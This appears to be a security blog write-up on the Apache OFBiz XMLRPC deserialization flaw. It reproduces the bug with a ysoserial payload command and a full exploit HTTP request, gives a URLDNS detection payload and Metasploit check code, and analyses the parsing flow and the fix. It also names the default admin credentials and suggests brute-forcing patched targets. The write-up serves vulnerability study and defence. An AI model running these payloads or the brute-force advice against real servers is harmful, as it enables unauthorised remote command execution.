0x01 Background

Apache OFBiz is a very well-known e-commerce platform and a very famous open-source project. It provides a framework based on the latest J2EE/XML specifications and technology standards for building large- and medium-sized enterprise-grade, cross-platform, cross-database, cross-application-server, multi-tier, distributed e-commerce WEB application systems. OFBiz’s most notable characteristic is that it provides a complete set of components and tools for developing Java-based web applications, including the entity engine, service engine, message engine, workflow engine, rules engine, and more. By default you can log in with the username admin and the password ofbiz.

Around 2020-09-29, a deserialization vulnerability was found in the XMLRPC interface of versions prior to 17.12.04. An attacker can exploit this vulnerability to execute arbitrary commands on the target server.

An e-commerce platform that is rarely used in China — a basic deserialization vulnerability.

(1) Affected versions

Apache OFBiz versions < 17.12.04


0x02 Vulnerability Reproduction

(1) Accessing the environment

Requesting /webtools/control/xmlrpc returns Failed to read XML-RPC request. Please check logs for more information, as shown in the figure

Notes:

  1. You must access /webtools (a single slash); accessing //webtools redirects to /webtools/control/main, and you cannot confirm whether the xmlrpc API is exposed.
  2. When reproducing on the vulhub environment, there is no need to set Content-Type to application/www-form-urlencoded; I used application/www-form-urlencoded and the vulnerability could still be triggered. Still — it is recommended to set it to xml

Once the current environment is confirmed reachable, start generating the payload.

(2) Generating the payload

Use YSoSerial to encode the command to be executed

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"

This generates the content shown in the figure below

(When testing on the vulhub environment, I found it works even without using tr to strip the newlines — pure black magic…)

(3) EXP

Construct the following request, replacing [base64-payload] with the base64 string just generated

POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

The image above is fromgithub-vulhub

After sending it, command execution is achieved

(4) Non-destructive PoC

It is recommended to use URLDNS to non-destructively verify whether the deserialization vulnerability exists.

First, generate the payload in YSO with the domain you want it to request, for example

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://ofbiz.xxxx.ceye.io" |base64 |tr -d "\n"                                                                              

Then send the request along with the payload

If a request arrives on the dnslog platform, the vulnerability is confirmed!

I also took a look at MSF’s detection method

def check
    # Send an empty serialized object
    res = send_request_xmlrpc('')

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    if res.body.include?('Failed to read result object: null')
      return CheckCode::Vulnerable('Target can deserialize arbitrary data.')
    end

    CheckCode::Safe('Target cannot deserialize arbitrary data.')
  end

It simply empties [base64-payload] and POSTs it over; if the response contains Failed to read result object: null, the vulnerability is proven. (There are a few small details: for example, <methodName> must be in the form of random letters + digits.

<?xml version="1.0"?>
        <methodCall>
          <methodName>#{rand_text_alphanumeric(8..42)}</methodName>
          <params>
            <param>
              <value>
                <struct>
                  <member>
                  <name>#{rand_text_alphanumeric(8..42)}</name>
                    <value>
                      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>
                    </value>
                  </member>
                </struct>
              </value>
            </param>
          </params>
        </methodCall>

0x03 Vulnerability Analysis

Just refer directly to 360Cert’s article -> https://cert.360.cn/report/detail?id=ba5eeaf8536ba73611dd4abd198c4eb9

From my reading I mainly took away the following points:

(1) What exactly is the XMLRPC interface for?

XML-RPC allows software running on different operating systems, in different environments, to make procedure calls over the Internet.

It is a remote procedure call that uses HTTP as the transport and XML as the encoding.

——https://ws.apache.org/xmlrpc/index.html

Simply put, it is an XML implementation of Remote Procedure Call (RPC).

If you want to understand this kind of interface further, you can go to the XML-RPC Debugger, which has a built-in page for constructing requests — quite convenient.

In fact, WordPress also ships an XML-RPC service, but individual bloggers basically never use it; instead it is often abused for brute-forcing accounts and passwords, so it is recommended to disable it.

From this point of view, XML-RPC’s benefits are mostly at the programming level; individual users rarely use it.

(2) The main deserialization flow

When parsing serializable, the typeParser of XmlRpcRequestParser is still MapParser, but MapParser cannot handle the serializable tag; at this point a new Parser must be obtained, and when the serializable tag is parsed, getParser returns SerializableParser.

SerializableParser extends ByteArrayParser and has no startElement method, so the parent class ByteArrayParser is called, which sets the OutputStream and decodes the input stream — you can see the base64 decoding happens right here

Next, is handled in Serializable#endElement, where setResult assigns a value to result. This is effectively where the deserialized data is retrieved

What follows is its wrapper class

A classic bais->ois->readObject() three-stage deserialization.


0x04 Fix

The official fix simply added authentication in web.xml, see it directly here

The test cases also show that authentication was added. However, the username and password are actually passed in via GET — the security bar clearly isn’t very high.


0x05 Summary

  • xmlrpc itself supports deserializing serialized data; the problem is that ofbiz did not apply access control to the xmlrpc interface
  • But judging from the fix, they only added a layer of verification — it really treats the symptoms rather than the root cause
  • For targets that have been patched, it is recommended to go straight to brute-forcing; once the brute-force succeeds, you can deserialize

Refs

](https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/)